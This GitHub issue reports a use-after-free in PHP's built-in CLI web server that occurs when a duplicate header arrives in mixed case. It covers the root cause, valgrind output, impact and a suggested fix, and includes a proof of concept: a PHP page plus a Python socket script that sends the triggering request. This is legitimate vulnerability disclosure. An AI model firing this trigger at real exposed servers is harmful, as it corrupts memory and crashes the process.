Skip to content

Use-after-free of header values in php_cli_server with mixed-case duplicate headers #23923

Description

@fereidani

Description

Initially reported privately, opened as issue per request of team as this is out of scope as a security issue:

Hi. According to our documentation:

https://www.php.net/manual/en/features.commandline.webserver.php

Warning This web server is designed to aid application development. It may also be useful for testing purposes or for application demonstrations that are run in controlled environments. It is not intended to be a full-featured web server. It should not be used on a public network.

Hence, this doesn't qualify as a security issue. Please create a regular issue for this.

Summary

A use-after-free in the built-in web server lets a single HTTP request corrupt heap memory. Sending the same header twice with different letter case frees a value that a second hash table still references, so apache_request_headers() returns freed memory and request shutdown frees it again. Confirmed on master with valgrind invalid read and write, and two observed server crashes.

Details

php_cli_server_client_save_header() in sapi/cli/php_cli_server.c:1694-1695 stores one value zval in two tables without a second reference:

zend_hash_update(&client->request.headers, lc_header_name, &tmp);
zend_hash_update(&client->request.headers_original_case, client->current_header_name, &tmp);

headers is created with the cli_header_value_dtor destructor, headers_original_case is created with no destructor, sapi/cli/php_cli_server.c:1391-1395, the comment there says the aliasing is safe because both tables die together.

That breaks when the same header arrives twice with different case. zend_hash_update() moves the value in without addref, Zend/zend_hash.c:871, and destroys the old value in place:

  1. X-L: AAAA stores v1 under headers["x-l"] and headers_original_case["X-L"]
  2. x-l: BBBB makes the lower case key collide, so zend_hash_update(headers, "x-l", ...) frees v1, while headers_original_case inserts under the new key "x-l" and leaves headers_original_case["X-L"] dangling

Sink one is PHP_FUNCTION(apache_request_headers) at sapi/cli/php_cli_server.c:404, which calls zend_array_dup() on headers_original_case, addrefs the freed string and returns it to userland. Sink two is request shutdown, which frees the dangling entry again.

PoC

Step 1, save as hdr.php in a web root, for example /tmp/poc:

<?php
$h = apache_request_headers();
echo bin2hex($h['X-L'] ?? 'none'), "\n";

Step 2, start the server:

php -S 127.0.0.1:8177 -t /tmp/poc

Step 3, send one mixed case duplicate:

import socket
s = socket.create_connection(("127.0.0.1", 8177))
s.sendall(b"GET /hdr.php HTTP/1.1\r\nHost: x\r\nConnection: close\r\n"
          b"X-L: AAAAAAAA\r\nx-l: BBBBBBBB\r\n\r\n")
print(s.recv(4096))

Result: the body prints an empty value, the freed string's length has been clobbered. The control request with X-L twice in the same case correctly returns the comma joined AAAAAAAA, BBBBBBBB.

Under valgrind, USE_ZEND_ALLOC=0:

Invalid write of size 4
  at zend_gc_addref
  by zend_array_dup_value <- zend_array_dup <- zif_apache_request_headers (php_cli_server.c:404)
... block free'd at _zend_hash_add_or_update_i <- zend_hash_update
  <- php_cli_server_client_save_header (php_cli_server.c:1694)

Repeated mixed case sequences crashed the server twice during testing, the double free at shutdown.

Impact

Use-after-free, CWE-416. The freed block is a malloc allocation whose size and content the attacker controls through the header value bytes. Demonstrated: stale read surfaced to userland, refcount write on freed memory, and process crash. The write primitive and double free make further exploitation plausible, that part is not demonstrated. The trigger request itself needs no script cooperation, only the observable output needs apache_request_headers() or getallheaders() in the page.

The built-in server is documented as development only, but it ships in the standard binary and gets exposed regularly.

CWE IDs: CWE-416

Solution

Do not share one reference between two tables. Either insert into headers_original_case with a real copy, ZVAL_COPY before the first update, or reorder so the aliasing table is updated before the table whose update can destroy the value:

zend_hash_update(&client->request.headers_original_case, client->current_header_name, &tmp);
zend_hash_update(&client->request.headers, lc_header_name, &tmp);

Reordering alone still leaves the case where both keys collide, for example X-L sent three times in mixed case, where the original case table would destroy a value the other table still names. The safe fix is the explicit second reference, or an update helper that keeps both tables keyed consistently. A NULL destructor on the second table is what created the trap, do not keep relying on it.

Internal Tracking ID: KF-202692827

PHP Version

PHP 8.7.0-dev (cli) (built: Sep 26 2026 REDACTED) (NTS)
Copyright © The PHP Group and Contributors
Zend Engine v4.7.0-dev, Copyright © Zend by Perforce
    with Zend OPcache v8.7.0-dev, Copyright ©, by Zend by Perforce

Operating System

Fedora

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Type

No type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions